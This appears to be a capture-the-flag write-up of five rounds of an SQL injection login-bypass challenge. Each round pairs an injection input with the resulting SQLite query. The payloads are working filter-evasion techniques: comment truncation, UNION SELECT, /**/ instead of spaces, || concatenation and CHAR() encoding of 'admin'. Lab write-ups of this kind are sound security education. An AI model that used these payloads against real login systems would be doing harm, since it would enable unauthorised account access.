Round 1 - filter: or

Use basic injection and comment out the rest of the line.

input: admin'--

SELECT \* FROM users WHERE username='admin'--' AND password='a'

Round 2 - filter: or and like = –

Without --, check for other ways to comment. We can also use UNION to get our specific user.

input: admin'/\*

SELECT \* FROM users WHERE username='admin'/\*' AND password='a'

input: ' union select \* from users where username in("admin")/\*

SELECT \* FROM users WHERE username='' union select \* from users where username in("admin")/\* AND password='a'

Round 3 - filter: or and = like > < –

The first injection from the previous round still works here, but let’s try to get the second to work too. Spaces are now blocked, but we can use /\*\*/ comments for the same effect. I tried %20 to replace all the spaces, but it was not effective.

input: admin'/\*

SELECT \* FROM users WHERE username='admin'/\*' AND password='a'

input: '/\*\*/union/\*\*/select\*from/\*\*/users/\*\*/where/\*\*/username/\*\*/in("admin")/\*

SELECT \* FROM users WHERE username=''/\*\*/union/\*\*/select\*from/\*\*/users/\*\*/where/\*\*/username/\*\*/in("admin")/\*' AND password='a'

Round 4 - filter: or and = like > < – admin

In SQLITE, || is a concatenation operator. The simple solution is to simply split up “admin” in a way to bypass the filter. A more complicated solution could include encoding encode “admin” in ASCII number code and using the SQL CHAR() function to decode it.

input: adm'||'in'/\*

SELECT \* FROM users WHERE username='adm'||'in'/\* AND password='a'

input: '/\*\*/union/\*\*/select\*from/\*\*/users/\*\*/where/\*\*/username/\*\*/in(char(97,100,109,105,110))/\*

SELECT \* FROM users WHERE username=''/\*\*/union/\*\*/select\*from/\*\*/users/\*\*/where/\*\*/username/\*\*/in(char(97,100,109,105,110))/\*' AND password='a'

Round 5 - filter: or and = like > < – union admin

Splitting up “admin” still works as only UNION is additionally blacklisted.

input: adm'||'in'/\*

SELECT \* FROM users WHERE username='adm'||'in'/\* AND password='a'